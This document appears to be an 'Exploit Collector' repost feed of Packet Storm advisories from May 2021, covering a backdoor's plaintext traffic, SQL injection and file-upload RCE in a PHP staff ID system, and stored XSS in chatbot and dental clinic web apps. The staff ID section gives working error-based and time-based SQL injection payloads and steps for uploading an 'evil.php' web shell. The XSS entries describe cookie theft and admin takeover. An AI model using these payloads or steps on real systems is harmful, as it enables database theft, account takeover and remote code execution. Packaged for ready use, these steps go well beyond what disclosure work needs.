All about Password Reset vulnerabilities
https://xcheater.medium.com/all-about-password-reset-vulnerabilities-3bba86ffedc7?source=rss------bug_bounty-5

Bug bounty approach for finding bugs in password reset functionContinue reading on Medium » (https://xcheater.medium.com/all-about-password-reset-vulnerabilities-3bba86ffedc7?source=rss------bug_bounty-5)

Exploit Collector
Backdoor.Win32.Delf.abb Insecure Transit

https://3.bp.blogspot.com/-vLPaJ0bXchM/WWlvcii8AuI/AAAAAAAAIPY/lohzKYQrhRkUA5ocnA3xRTtIEj7YZIM-ACLcBGAs/s1600/h77.png
Backdoor.Win32.Delf.abb malware suffers from insecure transit issues.

MD5 | a9bb3523d1bf35b01351769057a53e93

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/2910c3bea6732d5ed81a7c44d4354136.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.abb
Vulnerability: Insecure Transit
Description: The malware listens on TCP ports 1988 and 2111 but message exchange takes place on port 1988. The backdoor uses unencrypted plaintext socket communication allowing anyone who can sniff network traffic to read any communications sent or retrieved. This can disclose information to third-party well positioned attackers.
Type: PE32
MD5: 2910c3bea6732d5ed81a7c44d4354136
Vuln ID: MVID-2021-0206
Disclosure: 05/14/2021

Exploit/PoC:
Use Wireshark to sniff communications.

0000 00 XX XX XX XX XX 00 XX XX XX XX XX 08 00 45 00 ..).yq..)R....E.
0010 00 33 e1 e7 40 00 80 06 00 00 c0 a8 12 82 c0 a8 .3..@...........
0020 12 7f 69 ae 07 c4 1e 07 2a e1 22 b1 03 c1 50 18 ..i.....*."...P.
0030 20 14 a6 77 00 00 49 20 68 61 74 65 20 79 6f 75 ..w..I hate you
0040 0a

0000 00 XX XX XX XX XX 00 XX XX XX XX XX 08 00 45 00 ..)R....).yq..E.
0010 00 43 06 e9 40 00 80 06 4d 7a c0 a8 12 7f c0 a8 .C..@...Mz......
0020 12 82 07 c4 69 ae 22 b1 03 c1 1e 07 2a ec 50 18 ....i.".....*.P.
0030 08 05 7e 4d 00 00 3c 53 65 72 76 65 72 3e 20 49 ..~M..
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Printable Staff ID Card Creator System 1.0 Shell Upload / SQL Injection

https://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png
Printable Staff ID Card Creator System version 1.0 suffers from remote shell upload and remote SQL injection vulnerabilities.

MD5 | 4490bd349a0b50e4d7488c7b344af3e9

Download
# Exploit Title: Printable Staff ID Card Creator System 1.0 - SQLi & RCE via Arbitrary File Upload
# Date: 2021-05-16
# Exploit Author : bwnz
# Software Link: https://www.sourcecodester.com/php/12802/php-staff-id-card-creation-and-printing-system.html
# Version: 1.0
# Tested on: Ubuntu 20.04.2 LTS

# Printable Staff ID Card Creator System is vulnerable to an unauthenticated SQL Injection attack.
# After compromising the database via SQLi, an attacker can log in and leverage an arbitrary file upload
# vulnerability to obtain remote code execution.
-----SQL Injection-----
Step 1.) Navigate to the login page and populate the email and password fields.
Step 2.) With Burp Suite running, send and capture the request.
Step 3.) Within Burp Suite, right click and "Save item" in preparation for putting the request through SQLMap.
Step 4.) Open a terminal and run the following command:
sqlmap -r = 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: user_email=test@test.com' AND (SELECT 7267 FROM(SELECT COUNT(*),CONCAT(0x7176717071,(SELECT (ELT(7267=7267,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- pCej&password=`&login_button=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user_email=test@test.com' AND (SELECT 2884 FROM (SELECT(SLEEP(5)))KezZ)-- bBqz&password=`&login_button=
----- END -----
----- Authenticated RCE via Arbitrary File Upload -----
# For this attack, it is assumed that you've obtained credentials via the SQL Injection attack above and have logged in.

Step 1.) After logging in, click the "Initialization" option and "Add System Info".
Step 2.) Populate the blank form with arbitrary data. At the bottom of the form, there is an option to upload a logo. Upload your evil.php file here and click "Finish".
Step 3.) By default, the file is uploaded to http://
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Chatbot Application 1.0 Cross Site Scripting

https://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png
Simple Chatbot Application version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | ddfa140b8edb932fbd53487548351c4a

Download
# Exploit Title: Simple Chatbot Application 1.0 - 'Category' Stored Cross site Scripting
# Date: 16-05-2021
# Exploit Author: Vani K G
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14788/simple-chatbot-application-using-php-source-code.html
# Version: 1.0
# Tested on: Windows 10/XAMPP

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the
two. It occurs when a malicious script is injected directly into a
vulnerable web application.

Attack Vector :

This vulnerability can result in the attacker to inject the XSS
payload in the Title field of the page and each time any user will
open the website, the XSS triggers and attacker can able to steal the
cookie according to the crafted payload.

Vulnerable Parameters: Settings System Info field
Payload :

Vulnerable URL :
http://localhost/chatbot/admin/?page=system_info

Steps To Reproduce :
1) Go to the admin Dashboard
2) Click on Settings and Select System Info.
3) Put Payload into the System name input field.
4) Click on Save.
5) XSS payload will be triggered.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Dental Clinic Appointment Reservation System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png
Dental Clinic Appointment Reservation System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 4718faa47a91ac58a29b19df2b08912a

Download
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - 'Firstname' Persistent Cross Site Scripting (Authenticated)
# Date: 14-05-2021
# Exploit Author: Reza Afsahi
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Linux parrot

# --- Description --- #

# The web application allows member to inject persistent Cross-Site-Scripting payload which will be executed in both member and Admin panel

# --- Proof of concept --- #

1- Create account and login as member and go to: http://localhost/APR/edit_info.php
2- Inject this payload into Firstname input :
4- and fill other inputs as you want (Other inputs might be vulnerable as well) then click on Update button.
5- refresh the page and Xss popup will be triggered.

6- Now if Admin visit this page in his/her Dashboard : http://localhost/APR/admin/members.php
7- Our Xss payload will be executed on Admin Browser

** Attacker can use this vulnerability to take over Admin account **

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video